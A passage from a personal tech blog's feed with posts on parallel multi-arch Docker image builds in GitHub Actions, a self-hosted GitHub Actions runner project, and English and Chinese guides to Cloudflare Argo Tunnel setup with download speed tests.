Core(s) per socket:              8
Socket(s):                       1
NUMA node(s):                    1
Vendor ID:                       AuthenticAMD
CPU family:                      23
Model:                           49
Model name:                      AMD EPYC Processor
Stepping:                        0
CPU MHz:                         2445.406
BogoMIPS:                        4890.81
Hypervisor vendor:               KVM
Virtualization type:             full
L1d cache:                       256 KiB
L1i cache:                       256 KiB
L2 cache:                        4 MiB
L3 cache:                        32 MiB
NUMA node0 CPU(s):               0-7

c5.2xlarge

Architecture:                    x86_64
CPU op-mode(s):                  32-bit, 64-bit
Byte Order:                      Little Endian
Address sizes:                   46 bits physical, 48 bits virtual
CPU(s):                          8
On-line CPU(s) list:             0-7
Thread(s) per core:              2
Core(s) per socket:              4
Socket(s):                       1
NUMA node(s):                    1
Vendor ID:                       GenuineIntel
CPU family:                      6
Model:                           85
Model name:                      Intel(R) Xeon(R) Platinum 8124M CPU @ 3.00GHz
Stepping:                        4
CPU MHz:                         2999.998
BogoMIPS:                        5999.99
Hypervisor vendor:               KVM
Virtualization type:             full
L1d cache:                       128 KiB
L1i cache:                       128 KiB
L2 cache:                        4 MiB
L3 cache:                        24.8 MiB
NUMA node0 CPU(s):               0-7

c6g.2xlarge

Architecture:                    aarch64
CPU op-mode(s):                  32-bit, 64-bit
Byte Order:                      Little Endian
CPU(s):                          8
On-line CPU(s) list:             0-7
Thread(s) per core:              1
Core(s) per socket:              8
Socket(s):                       1
NUMA node(s):                    1
Vendor ID:                       ARM
Model:                           1
Model name:                      Neoverse-N1
Stepping:                        r3p1
BogoMIPS:                        243.75
L1d cache:                       512 KiB
L1i cache:                       512 KiB
L2 cache:                        8 MiB
L3 cache:                        32 MiB
NUMA node0 CPU(s):               0-7

Reference

]]>
在 GitHub Actions 上使用多 Job 并行构建,提升 Multi-Arch 镜像制作速度https://nova.moe/accelerate-multi-arch-build-on-github-actions/Sun, 17 Apr 2022 20:00:00 +0800https://nova.moe/accelerate-multi-arch-build-on-github-actions/在土豆大佬的文章 「使用 GitHub Actions 构建 Multi-arch Docker image」 中我们知道,如果希望在 GitHub Actions 上构建一个 Multi-Arch 的镜像,其中关键的 Workflow 内容类似如下:

如果你不懂什么是 Multi-Arch 的话,你可以先看看上面的文章.

- name: Set up QEMU
  uses: docker/setup-qemu-action@v1

- name: Set up Docker Buildx
  uses: docker/setup-buildx-action@v1

- name: Build and push latest images
  uses: docker/build-push-action@v2
  with:
    context: .
    platforms: linux/arm64, linux/amd64
    push: true
    tags: |
        n0vad3v/bennythink:latest

这样我们就可以很方便地构建多架构镜像了,但是我们要知道一点:GitHub Actions 的机器是 Standard_DS2_v2,是一个 2 Core 7G 内存的小机器,而且甚至没法加钱换大机器,这样的话我们在构建一些比较鸡掰的包的时候就容易超时,比如…构建 CMake 可能需要 2hr…

再加上 ARM64 的部分是用 QEMU 模拟的,两个一起跑那真的是…等到跑了 6 个小时任务超时被 Kill 掉的时候…

只剩下滿腹的辛酸 無限的苦痛

为了解决这个问题(而且不花钱),我们就要充分利用 GitHub Actions 的 Jobs,我们知道,一个 Workflow 中的每个 Job 都是单独的机器在跑,所以这里的思路就从单机构建 Multi-Arch 镜像改为:

  1. 多个 Job 分别构建各自 Arch 的镜像,假设我们最终希望的镜像名称是 n0vad3v/bennythink:latest,那么这里分别构建 n0vad3v/bennythink-amd64:latestn0vad3v/bennythink-arm64:latest
  2. 等前构建任务完成之后利用一个单独的任务把这些镜像缝合在一起,使用 docker manifest amend
  3. Multi-Arch 镜像就出现了

Build Image

多个 Job 分别构建各自 Arch 的镜像

这一步非常简单,只需要多写几个 Job 就好了,类似这样:


  build-arm64-image:
    name: Build ARM64 Image
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3

      - name: Login to Docker Hub
        uses: docker/login-action@v1
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_PASSWD }}
      
      - name: Set up QEMU
        uses: docker/setup-qemu-action@v1

      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v1
  
      - name: Build and push latest images
        uses: docker/build-push-action@v2
        with:
          context: .
          platforms: linux/arm64
          push: true
          tags: |
            n0vad3v/bennythink-arm64:latest

  build-amd64-image:
    name: Build AMD64 Image
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v3
    
      - name: Login to Docker Hub
        uses: docker/login-action@v1
        with:
          username: ${{ secrets.DOCKERHUB_USERNAME }}
          password: ${{ secrets.DOCKERHUB_PASSWD }}

      - name: Set up QEMU
        uses: docker/setup-qemu-action@v1

      - name: Set up Docker Buildx
        uses: docker/setup-buildx-action@v1
  
      - name: Build and push latest images
        uses: docker/build-push-action@v2
        with:
          context: .
          platforms: linux/amd64
          push: true
          tags: |
            n0vad3v/bennythink-amd64:latest

缝合镜像

上面两个 Job 完成后,我们应该已经得到并 push 了 n0vad3v/bennythink-amd64:latestn0vad3v/bennythink-arm64:latest 两个镜像,接下来使用一个任务把这两个镜像合并到一起,并使用 needs 保证只会在前面构建的任务完成后才会运行,示例如下:

combine-two-images:
  runs-on: ubuntu-latest
  needs:
    - build-arm64-image
    - build-amd64-image
  steps:
    - name: Login to Docker Hub
      uses: docker/login-action@v1
      with:
        username: ${{ secrets.DOCKERHUB_USERNAME }}
        password: ${{ secrets.DOCKERHUB_PASSWD }}
    
    - name: Combine two images
      run: |
        docker manifest create n0vad3v/bennythink:latest --amend n0vad3v/bennythink-amd64:latest --amend n0vad3v/bennythink-arm64:latest
        docker manifest push n0vad3v/bennythink:latest        

然后就成了.

缓存

由于通过 QEMU 模拟的构建镜像非常的慢,所以一定要用好缓存机制(比如使用 actions/cache@v3 ),不过一定要看清楚官方文档,了解清楚 keyrestore-keys 这类参数的用法,不要直接复制(不然就会像我一样两个 Job 写成了一个 key 然后 AMD64 的缓存总是把 ARM64 的缓存给覆盖掉了)。

用 QEMU 模拟 ARM64 真的是慢到吃屎都赶不上热乎的

后记

不过即使是这样你也没法成功地在 6hr 限制内用 GitHub Actions 的官方 Runner 编译完成 ClickHouse,但是对于一些没有那么重的任务来说,这样可以提升不少速度,目前我已经在如下仓库上实践这个策略:

顺便可以感受一下 QEMU 模拟的 ARM64 和 AMD64 原生之间的构建速度差距有多大:

最终我自己的需求还是通过前两天开源的 knatnetwork/github-runner 并搭配 DOKS 和 Eks 创建了一堆 AMD64 和 ARM64 的机器注册 Self-hosted Runner 在对应平台原生构建了,后续有机会我会写另一篇文章分享。

]]>
开源 Github Actions Self-Hosted Runnerhttps://nova.moe/unleash-github-actions-runner/Fri, 15 Apr 2022 00:00:00 +0800https://nova.moe/unleash-github-actions-runner/GitHub 仓库地址: https://github.com/knatnetwork/github-runner

文档站点: https://runner.knat.network


其实也不算什么开源,只是拿出来,整理一下并和大家一起分享一下,顺便希望针对这个事情写一篇文章做点记录。

Why GitHub Actions

由于我对于 CI 的了解不是很多,但是偶尔还是会设计到一些 CI/CD 流水线的改造,以及一些自动化的动作(可能就是其他人所谓的 GitOps 啦),在使用过一些 CI 工具之后,对于不同的 CI 系统有着如下粗浅的认知和偏见:

  • GitHub Actions:只要关注 YML 就好,然后大量 use 他人的 step 来完成工作,文档齐全,编写容易,操作起来(尤其是对于取消任务,查看日志等操作)比较卡顿
  • Jenkins:Java 一把梭,插件很多(装插件要重启),文件即数据库,不好做高可用,容易出现各种各样的 Bug,Groovy 脚本看上去非常头痛,K8s 插件安装好后可以直接调度集群在 Pod 中跑负载好评
  • Travis CI:从排队,到几乎排不到队,到不可用,语法和 GitHub Actions 类似,但是…服务不太好用
  • Prow:All in K8s,理解/安装/使用起来有点迷惑
  • 自己造 DSL 封装 Jenkins:人类迷惑行为

当然可能各位还有见过一些什么把 PR 上的 CI 叫 测试CI,合并后才开始跑的测试叫 合并CI,每天只跑一次 master 分支的叫 日常CI ,然后本来就应该 per commit 触发的 CI 测试叫做「左移测试」的这种生造名词以给大家和维护者产生困扰的事情也就不在这个讨论范围内了。

哦,当然

由于我的需求在于:打镜像,部署镜像,跑测试,跑一些 奇 妙 的负载,从上述了解来看,GitHub Actions 无疑是最合适的选择了。

Why Self-hosted

很简单,我要 ARM64 的 Runner,我需要更多的内存和 CPU,我希望使用到内网资源,这些官方的 2C7G 的小 Runner 完全没法满足我的某些需求,加上大量已经通过 GitHub Actions 写好的流水线迁移起来有额外的成本,自托管 Runner 无疑是一个最佳的选择。

目前市面上有不少 Runner 的 Operator,可以很方便地在集群中 apply 一个 YML,然后就有了弹性调度 Runner,但是苦于一直没有找到一个可以方便部署的,单机的,没有那么复杂的方案,所以只要自己造轮子,做出来了这么个 Runner,从个人使用,到公司内部使用,目前看上去 it really works.

而且在内部使用的过程中,进行了一些蜜汁优化,比如:GitHub Actions Self-Hosted Runner 优化——Golang 相关内网缓存

由于在我们自己的使用场景下有着不错的体验,我打算把这个方案公开出来与大家一起分享。

Topology

整个 Self-hosted Runner 的结构如下:

第一个服务被我称为 KMS,它存储着 Personal Access Token,其余 Runner 服务通过和 ‘KMS’ 服务通信,拿到自己的 Registration Code 并向 GitHub 注册自己,防止 Token 在 Runner 中被攻击者偷走拿去搞事。

关于这个 KMS 以及偷 Token 的方式可以见我之前的文章「关于从 GitHub Actions Self-Hosted Runner 中偷 Secrets/Credentials 的一些安全研究

其次就是 Runner, 其实就是一个基于 ubuntu:20.04 构建出来的 Docker 容器,装了一些必要的软件并加入了 GitHub Runner 组件,如果在 CI 任务中需要使用到 Docker 的一些功能,可以启动一个 DinD 或者直接暴露宿主机的 Docker Sock(虽然我不推荐这么做)。

如果是希望单机部署的话,只要像下面一样糊一个 docker-compose.yml (并写一下 config.json)就可以启动了:

version: '3'

services:
  runner:
    image: knatnetwork/github-runner:focal-2.290.1
    restart: always
    environment:
      RUNNER_REGISTER_TO: 'knatnetwork'
      RUNNER_LABELS: 'docker,knat'
      KMS_SERVER_ADDR: 'http://kms:3000/'
      GOPROXY: 'http://goproxy.knat.network,https://proxy.golang.org,direct'
      ADDITIONAL_FLAGS: '--ephemeral'
    depends_on:
      - kms
  
  kms:
    image: knatnetwork/github-runner-kms:latest
    restart: always
    volumes:
      - ./config.json:/usr/src/app/config.json

你看,很简单是不是,不需要污染本地环境,也不需要搞什么 Operator,docker-compose up -d,然后你的 Runner 就上线了,多快乐!

如果你不再需要它了的话,就 docker-compose down,它会自己从 GitHub 上删除自己,不留一点垃圾。

如果你已经有一个 K8s 环境,并且希望快速扩/缩容的话,可以写一个 Deployment 来完成,鉴于篇幅,大伙儿可以直接参考文档站:Kubernetes | GitHub Actions Runner

KNAT

在把 Runner 公开前我想过很多方式,譬如弄一个新的域名和名字来维护,或者直接挂在 n0vad3v 账户和 nova.moe 的一个子域名下,感觉都不是很合适,正好看到之前 G2FS 和 G2WW 都已经使用了 knat.network 这个域名,于是便想到:嘿,为什么不直接使用这个名字来做点事情呢?

强哥也曾经这么说过:

把事情放到一个大的框架下做

Twitter@zhouqiang_cl

关于 KNAT:这其实是我大学时期的一个…想法,也是毕业设计的内容,它尝试模拟了 Cloudflare 的一个服务并将反代的效率提升了 20%(当然是以内存和算力的代价换来的)。

至于 KNAT 这个名字代表着什么,容我摘录一段毕业论文上的文字(请无视某个 Typo)

以上,Have Fun.

]]>
Use Cloudflare Argo Tunnel (cloudflared) to accelerate and protect your website.https://nova.moe/accelerate-and-secure-with-cloudflared-en/Sat, 26 Mar 2022 14:00:00 +0800https://nova.moe/accelerate-and-secure-with-cloudflared-en/这篇文章有简体中文版本,在 使用 Cloudflare Argo Tunnel(cloudflared) 来加速和保护你的网站

This article was last updated on March 1, 2024, and includes the updated deployment and installation methods for the new version of cloudflared.

Yes, this is an article documenting the usage of cloudflared and sharing some thoughts. Regarding the usage of Cloudflare’s Argo Tunnel, you can find it in the article titled “Cloudflare Argo Tunnel Experiment: Finally, I Can Host a Website with a Raspberry Pi”. Cloudflare Argo Tunnel provides a lightweight daemon program called cloudflared, which can be installed on your own machine to establish a connection with Cloudflare and provide web services. In Cloudflare’s words:

With Tunnel, users can create a private link from their origin server directly to Cloudflare without a publicly routable IP address. Instead, this private connection is established by running a lightweight daemon, cloudflared, on your origin, which creates a secure, outbound-only connection. This means that only traffic that routes through Cloudflare can reach your origin.

Typically, when setting up a website and joining Cloudflare, there are several typical steps involved:

  1. Rent a server and run your app on it (e.g., listening on 127.0.0.1:8080).
  2. Configure Caddy/Nginx to listen on a specific domain and reverse proxy to the app’s port.
  3. Configure a domain on Cloudflare to point to your server’s IP and enable CDN (to protect the origin server’s IP).
  4. (Optional) Set up complex rules on the server/Nginx to prevent discovery of your origin server’s IP by tools scanning IPs/TLS certificates (which could lead to DDoS attacks).

There are many complexities involved in the above steps, and you might end up setting up various firewall rules only to realize that your application is directly exposed on <server_public_IP>:8080 due to a hole created by Docker on your machine (as mentioned in the article “Why Isn’t My UFW Working? How to Block Non-Cloudflare Access When Using Docker”).

To address such issues, you can use Cloudflare Argo Tunnel, which works as follows:

  1. Your server doesn’t even need a public IP.
  2. Your app continues to run on a local port (e.g., listening on 127.0.0.1:8080).
  3. You can set up a firewall anywhere and block all inbound traffic to the server except for SSH.
  4. Run the Argo Tunnel program (cloudflared) and configure it with the local app’s port. Argo Tunnel will generate a domain for you based on your requirements.
  5. Access the app directly using the domain provided by Argo Tunnel.

Doesn’t this sound similar to Tor’s Hidden Service?

Practical cloudflared

Systemd + Package Manager Installation (Default for Cloudflared Panel)

As of now (March 1, 2024), the installation and deployment of cloudflared have been integrated into the “Zero Trust” dashboard by Cloudflare.

If you want to create a new tunnel, you can directly create it here. After creation, you will be provided with the Systemd + binary installation method:

You can change the name later, so no worries.

In this example, the installation method is shown in the last screenshot:

curl -L --output cloudflared.deb https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb && 

sudo dpkg -i cloudflared.deb && 

sudo cloudflared service install eyJhIjoi.....JMSJ9

Note that eyJhIjoi.....JMSJ9 is the token for the tunnel. If you prefer not to use this one-click installation method or if you want to have multiple different services on the same machine using different tunnels, you can record this token and deploy it using a Docker container.

Docker Container Deployment

For example, if you have a containerized service listening on port 8080, you can expose it separately using cloudflared by following these steps:

version: '3'

services:
  some_service:
    image: ghcr.io/n0vad3v/some_service:latest
    restart: always

  cloudflared:
    image: cloudflare/cloudflared
    restart: always
    command: --no-autoupdate tunnel run
    environment:
      - TUNNEL_TOKEN=eyJhIjoi.....JMSJ9

Since services within a Docker Compose network can communicate with each other using service names, in the above example, the service name is set as some_service. You can configure it accordingly on the Tunnel page:

After that, your service will be successfully exposed to the outside world.

Manual Installation (Old Method)

Updated on March 1, 2024: This is the old installation method, and it may not be necessary anymore.

As a documentation piece, let’s see how to perform the above operations (assuming you already have a Cloudflare account and have added a domain).

First, we need to download cloudflared. Since it is a binary, we can download it and run it directly:

wget https://github.com/cloudflare/cloudflared/releases/download/2022.3.4/cloudflared-linux-amd64
chmod +x cloudflared-linux-amd64
mv cloudflared-linux-amd64 /usr/bin/cloudflared

Log in to cloudflared locally. It will provide a URL, and you need to access it using a browser to select a domain:

cloudflared tunnel login

Cloudflare will create a cert.pem file in your ~/.cloudflared directory.

Next, create a tunnel (e.g., knat-tunnel):

cloudflared tunnel create knat-tunnel

This will output some information about the tunnel ID (e.g., xxxxxxx-5b0e-xxxx-8034-xxxxxxx). Make sure to record this information as it will be used later.

Create a domain for the tunnel. For example, I used tunnel.knat.network:

cloudflared tunnel route dns knat-tunnel tunnel.knat.network

Finally, create a configuration file (e.g., ~/.cloudflared/knat.yml) with the following content:

url: http://localhost:8080
tunnel: xxxxxxx-5b0e-xxxx-8034-xxxxxxx
credentials-file: /root/.cloudflared/xxxxxxx-5b0e-xxxx-8034-xxxxxxx.json

Start the tunnel:

cloudflared tunnel --config ~/.cloudflared/knat.yml run

This will display some debug information, including the Cloudflare nodes to which it is connected:

022-03-26T06:52:31Z INF Starting tunnel tunnelID=xxxxxxx-5b0e-xxxx-8034-xxxxxxx
2022-03-26T06:52:31Z INF Version 2022.3.4
...
2022-03-26T06:52:31Z INF Generated Connector ID: 624aa020-a90a-4bef-91da-330c74edb02f
2022-03-26T06:52:31Z INF Initial protocol http2
2022-03-26T06:52:31Z INF Starting metrics server on 127.0.0.1:44143/metrics
2022-03-26T06:52:33Z INF Connection 34504363-646c-46a2-973d-bd112943c58f registered connIndex=0 location=KIX
2022-03-26T06:52:34Z INF Connection 7a3ec8f7-482c-4fe5-93c4-69d1177ca457 registered connIndex=1 location=NRT
2022-03-26T06:52:35Z INF Connection 7d571bdb-96d2-49d3-b8bf-14754aa6cf8b registered connIndex=2 location=KIX
2022-03-26T06:52:36Z INF Connection 473e30ae-e98b-4da1-8768-12bf5304c7ab registered connIndex=3 location=NRT

Now, when you start a local service listening on 127.0.0.1:8080, you can access it directly using the provided domain.

If you want to create a tunnel on another machine, you can simply copy the ~/.cloudflared/ directory without the need to log in again.

Speed Test

Many people have already performed tests while creating tunnels, but the motivation behind this article is to test the speed. We know that Cloudflare defaults to routing traffic to the nearest origin server. In my previous article, “Simulating Argo Using an Anycast Network Behind Cloudflare”, I described the following:

  • By default, Cloudflare routes traffic to the data center nearest to the visitor.
  • With Argo enabled, Cloudflare detects that our origin server is closer to the Paris node and routes the request to the Cloudflare machine in Paris using proxy_pass https://origin.nova.moe;.

If these two conclusions are difficult to understand, let’s consider the following scenario: Suppose my blog is located in France (let’s assume it resolves to origin.nova.moe), and you are a visitor from mainland China. Considering the current network environment:

  • By default, you would be directed to Cloudflare’s San Jose node in the US, and the Nginx server on the San Jose node would proxy_pass https://origin.nova.moe;. It’s simple, right? But this is “public network sourcing.”
  • If you have Argo enabled, you would still be directed to Cloudflare’s San Jose node, but Cloudflare would discover that our origin server is closer to the Paris node. Consequently, the request would be forwarded to the Cloudflare machine in Paris using proxy_pass https://origin.nova.moe;.

By using Argo Tunnel, since the origin traffic goes through various public network tunnels of Cloudflare, it can reduce detours and, in some cases, improve speed. In simple terms, the speed should be faster. Cloudflare’s official promotional image illustrates this:

This applies to Argo Tunnel as well. To demonstrate this, I conducted a test with the following conditions:

  1. A server in Helsinki with a nominal bandwidth of 300 Mbps.
  2. A server in Japan with a nominal bandwidth of 200 Mbps.
  3. Latency between the two servers is 233 ms.
  4. When directly connected using iperf3, the speed is around 60 Mbps.
  5. Cloudflare’s caching strategy is set to “Bypass” (no caching).
  6. without-tunnel.knat.network is directly resolved to the server in Helsinki, with Cloudflare CDN enabled.
  7. tunnel.knat.network is the tunnel created using cloudflared on the server in Helsinki.
  8. A dummy file was generated: fallocate -l 1G CoronaVac.img.
  9. The file was downloaded using wget on the server in Japan.

Let’s directly look at the conclusions. When connected directly, the speed is as follows (average speed: 4.97 MB/s):

○ wget https://without-tunnel.knat.network/CoronaVac.img
--2022-03-26 15:07:39--  https://without-tunnel.knat.network/CoronaVac.img
Resolving without-tunnel.knat.network (without-tunnel.knat.network)... 2606:4700:3037::6815:2403, 2606:4700:3033::ac43:b694, 172.67.182.148, ...
Connecting to without-tunnel.knat.network (without-tunnel.knat.network)|2606:4700:3037::6815:2403|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1073741824 (1.0G) [application/octet-stream]
Saving to: ‘CoronaVac.img’

CoronaVac.img                           100%[==============================================================================>]   1.00G  5.37MB/s    in 3m 26s  

2022-03-26 15:11:06 (4.97 MB/s) - ‘CoronaVac.img’ saved [1073741824/1073741824]

When using Argo Tunnel, the speed is as follows (average speed: 13.6 MB/s):

○ wget https://tunnel.knat.network/CoronaVac.img
--2022-03-26 15:12:39--  https://tunnel.knat.network/CoronaVac.img
Resolving tunnel.knat.network (tunnel.knat.network)... 2606:4700:3037::6815:2403, 2606:4700:3033::ac43:b694, 172.67.182.148, ...
Connecting to tunnel.knat.network (tunnel.knat.network)|2606:4700:3037::6815:2403|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1073741824 (1.0G) [application/octet-stream]
Saving to: ‘CoronaVac.img’

CoronaVac.img                           100%[==============================================================================>]   1.00G  14.8MB/s    in 75s     

2022-03-26 15:13:56 (13.6 MB/s) - ‘CoronaVac.img’ saved [1073741824/1073741824]

The speed increased fourfold.

Moreover, this service is even free:

In the past, Argo Tunnel has been priced based on bandwidth consumption as part of Argo Smart Routing, Cloudflare’s traffic acceleration feature. Starting today, we’re excited to announce that any organization can use the secure, outbound-only connection feature of the product at no cost.

——A Boring Announcement: Free Tunnels for Everyone

https://blog.cloudflare.com/tunnel-for-everyone/

Some Additional Thoughts

Many of our infrastructure services are provided by US companies, or we heavily rely on products from US companies. The developer-friendly clouds we are familiar with (such as Vultr, Digital Ocean, Linode), major public clouds (AWS, GCP, Azure), major CDN providers (Cloudflare, Akamai, Fastly), commonly used technologies like Docker/Kubernetes, and the two major front-end frameworks (React, Angular) are all products of US companies.

As a result, it becomes quite challenging to have services that are completely hosted in the EU and owned by EU companies.

Sometimes I wonder: When these companies introduce exciting and hard-to-replace products (such as S3 or Lambda), what are we doing? What products do we have that are truly driving progress in certain areas of the internet? Even if it’s just a small improvement…

(Or perhaps we are still busy creating scenarios, empowering industries, providing leverage, and assisting in Southeast Asian expansion?)

This brings to mind a statement from Cloudflare’s blog:

At Cloudflare, our mission is to help build a better Internet.

I hope this documentation and test can inspire some people in their business. That’s all.

]]>
使用 Cloudflare Argo Tunnel(cloudflared) 来加速和保护你的网站https://nova.moe/accelerate-and-secure-with-cloudflared/Sat, 26 Mar 2022 14:00:00 +0800https://nova.moe/accelerate-and-secure-with-cloudflared/This article is also available in English, at Use Cloudflare Argo Tunnel (cloudflared) to accelerate and protect your website.

本文于 2024-03-01 更新,更新了新版本的 cloudflared 部署和安装方式

是的,这是一篇记录 cloudflared 的使用历程和一些思路的文章,关于 Cloudflare 的 Argo Tunnel 的用法,我们在 「Cloudflare Argo Tunnel 小试:我终于可以用树莓派做网站啦」 文章中可以看到:Cloudflare Argo Tunnel 提供一个轻量级的 daemon 程序,被称为 cloudflared,用于安装在你自己的机器上并主动和 Cloudflare 保持连接,并可以提供 Web 服务,用 Cloudflare 的话来说,就是:

With Tunnel, users can create a private link from their origin server directly to Cloudflare without a publicly routable IP address. Instead, this private connection is established by running a lightweight daemon, cloudflared, on your origin, which creates a secure, outbound-only connection. This means that only traffic that routes through Cloudflare can reach your origin.

我们之前要建立一个网站并加入 Cloudflare 一般会有如下典型的步骤:

  1. 租用服务器并在上面运行我们的 App(比如这里监听了 127.0.0.1:8080
  2. 配置 Caddy/Nginx 监听某个域名,并反向代理到 App 的端口
  3. 在 Cloudflare 上配置一个域名指向我们的服务器 IP,并开启 CDN(保护源站 IP)
  4. (可选)在服务器上/Nginx 上设置一堆复杂的规则防止被一些工具通过扫 IP/TLS 证书发现我们的源站 IP(导致被 DDoS)

这其中有许多的麻烦不说,可能你设置好了许多防火墙规则,最后发现由于 Docker 在你的机器上开个洞(如 「我的 ufw 怎么又不好用了?使用 docker 时如何拒绝非 cloudflare 访问」 一文所记录),导致你的应用其实直接裸奔在 <服务器公网 IP>:8080 上,这就很尴尬了。

对于以上的情况,使用 Cloudflare Argo Tunnel 就可以解决这个问题,它的工作模式如下:

  1. 你的服务器甚至不需要拥有公网 IP
  2. 你的 App 继续运行在本地某个端口(比如这里监听了 127.0.0.1:8080
  3. 你可以在任何地方设置防火墙,直接阻断服务器除了 SSH 以外的所有 Inbound 流量
  4. 运行 Argo Tunnel 的程序(cloudflared)并设置本地应用的端口,这里 Argo Tunnel 会根据你的要求自动生成一个域名给你使用
  5. 直接访问 Argo Tunnel 提供的域名

是不是听上去和 Tor 的 Hidden Service 很像?

Practical cloudflared

Systemd + 包管理工具安装(Cloudflared 面板默认)

在目前(2024-03-01),cloudflared 的安装和部署被 Cloudflare 整合到了 「Zero Trust」 后台中了

如果要创建一个新的 Tunnel 可以直接在这里创建,创建完成后会给出 Systemd + binary 的安装方式:

这里名字日后是可以改的,不用担心

在本例中,安装方式为最后一张截图下方可以直接下载:

curl -L --output cloudflared.deb https://github.com/cloudflare/cloudflared/releases/latest/download/cloudflared-linux-amd64.deb && 

sudo dpkg -i cloudflared.deb && 

sudo cloudflared service install eyJhIjoi.....JMSJ9

注意 eyJhIjoi.....JMSJ9 这一个即为 Tunnel 的 Token,如果你不喜欢用这个一键的安装方式,或者希望机器上有多个不同的服务可以用不同的 Tunnel 的话,可以记录下这个 Token 用 Docker 容器部署。

Docker 容器部署

例子:如果我有一个容器化的服务监听在 8080 端口上,我可以单独为这个容器化的服务启动一个 cloudflared 对外暴露,方法如下:

version: '3'

services:
  some_service:
    image: ghcr.io/n0vad3v/some_service:latest
    restart: always

  cloudflared:
    image: cloudflare/cloudflared
    restart: always
    command: --no-autoupdate tunnel run
    environment:
      - TUNNEL_TOKEN=eyJhIjoi.....JMSJ9

由于在 Compose 创建的网络中可以直接通过服务名称互相联通,上面我的服务名字叫做 some_service,那此时可以在对应的 Tunnel 页面可以这么配置:

然后你的服务就可以成功对外暴露啦~

手动安装(旧)

2024-03-01 更新:这个是老的安装方法,现在应该已经不需要这么做了。

作为一篇记录,我们来看看上述操作需要怎么做吧。(假设你已经有了一个 Cloudflare 帐号并且已经添加好了域名)

首先我们需要下载 cloudflared ,由于就是一个 binary,我们直接下载下来跑就好:

wget https://github.com/cloudflare/cloudflared/releases/download/2022.3.4/cloudflared-linux-amd64
chmod +x cloudflared-linux-amd64
mv cloudflared-linux-amd64 /usr/bin/cloudflared

本地登录一下 cloudflared ,这个时候会给出一个 URL,用浏览器访问后选择域名即可:

cloudflared tunnel login

此时 Cloudflare 会创建一个 cert.pem 文件放在你的 ~/.cloudflared 目录下。

然后创建一个隧道,比如我这里叫 knat-tunnel

cloudflared tunnel create knat-tunnel

此时会输出一些隧道 ID 之类的信息(比如我这里是 xxxxxxx-5b0e-xxxx-8034-xxxxxxx),需要记录一下,接下来需要用到。

给隧道创建一个域名,比如我这里用了 tunnel.knat.network

cloudflared tunnel route dns knat-tunnel tunnel.knat.network

最后我们需要创建一个配置文件,比如我打算放在 ~/.cloudflared/knat.yml,文件内容如下:

url: http://localhost:8080
tunnel: xxxxxxx-5b0e-xxxx-8034-xxxxxxx
credentials-file: /root/.cloudflared/xxxxxxx-5b0e-xxxx-8034-xxxxxxx.json

启动隧道:

cloudflared tunnel --config ~/.cloudflared/knat.yml run

此时会有一些调试信息,比如它告诉你连接到了哪些 Cloudflare 节点之类的:

022-03-26T06:52:31Z INF Starting tunnel tunnelID=xxxxxxx-5b0e-xxxx-8034-xxxxxxx
2022-03-26T06:52:31Z INF Version 2022.3.4
...
2022-03-26T06:52:31Z INF Generated Connector ID: 624aa020-a90a-4bef-91da-330c74edb02f
2022-03-26T06:52:31Z INF Initial protocol http2
2022-03-26T06:52:31Z INF Starting metrics server on 127.0.0.1:44143/metrics
2022-03-26T06:52:33Z INF Connection 34504363-646c-46a2-973d-bd112943c58f registered connIndex=0 location=KIX
2022-03-26T06:52:34Z INF Connection 7a3ec8f7-482c-4fe5-93c4-69d1177ca457 registered connIndex=1 location=NRT
2022-03-26T06:52:35Z INF Connection 7d571bdb-96d2-49d3-b8bf-14754aa6cf8b registered connIndex=2 location=KIX
2022-03-26T06:52:36Z INF Connection 473e30ae-e98b-4da1-8768-12bf5304c7ab registered connIndex=3 location=NRT

这个时候本地启动一个监听在 127.0.0.1:8080 的服务之后就可以直接通过这个域名访问了。

如果你希望在别的机器上创建隧道的话,只需要把 ~/.cloudflared/ 目录一并复制走即可,无需重新登录。

Speed test

创建隧道的过程相信很多人都已经做过测试了,但是本文写作的动机在于这里的速度,我们知道,Cloudflare 对于网站而言是默认就近回源,在我之前的文章:「搭建 Cloudflare 背后的 IPv6 AnyCast 网络」中就有如下描述:

  • 一般的,Cloudflare 回源的方式是由访客命中的数据中心进行回源
  • 开启 Argo 之后,Cloudflare 由它认为距离你源站 IP 最近最快的 Cloudflare 数据中心回源

如果上述两个结论不好理解的话,我们带入两个条件来方便大家理解,假设我的博客在法国(假设解析为 origin.nova.moe),你是一个大陆访客,假设 Cloudflare 使用的 Nginx,在目前网络环境下:

  • 一般的,你会访问到 Cloudflare 位于美西的 San Jose 节点,然后 San Jose 节点上的 Nginx 就 proxy_pass https://origin.nova.moe; 了,很简单是不是?但是这样就是「公网回源」
  • 如果你有 Argo,你还是会访问到 Cloudflare 位于美西的 San Jose 节点,但是这个时候 Cloudflare 会发现我们的源站和 Paris 的节点距离很近,就会将请求转发到 Cloudflare 位于 Paris 的机器上 proxy_pass https://origin.nova.moe;

开了 Argo 之后由于回源流量会有很大一段不经过公网(而是 Cloudflare 的各种公网隧道),所以理论上说路由路径更多地受到 Cloudflare 管控,在某些时候可以减少绕路,简单来说,速度应该会快一些,Cloudflare 官方宣传图如下:

对于这一点而言,既然我们是用了 Argo Tunnel 了,那么这里其实也是适用的,为了说明这一点,我们来个测试,测试的情况如下:

  1. 一台赫尔辛基的服务器,300Mbps 的标称带宽
  2. 一台日本的服务器,200Mbps 的标称带宽
  3. 两台服务器之前延迟为:233 ms
  4. 两台机器之间直接用 iperf3 拉的话,速度为 60Mbps 左右
  5. Cloudflare 上缓存策略为 By Pass(不缓存)
  6. without-tunnel.knat.network 直接解析到赫尔辛基的服务器上并开启 Cloudflare CDN
  7. tunnel.knat.network 为在赫尔辛基的服务器使用 cloudflared 创建的隧道
  8. 生成一个垃圾文件: fallocate -l 1G CoronaVac.img
  9. 在日本的机器上 wget 拉取

我们直接看结论,如果直接连接的话,速度是这样的(平均速度:4.97 MB/s):

○ wget https://without-tunnel.knat.network/CoronaVac.img
--2022-03-26 15:07:39--  https://without-tunnel.knat.network/CoronaVac.img
Resolving without-tunnel.knat.network (without-tunnel.knat.network)... 2606:4700:3037::6815:2403, 2606:4700:3033::ac43:b694, 172.67.182.148, ...
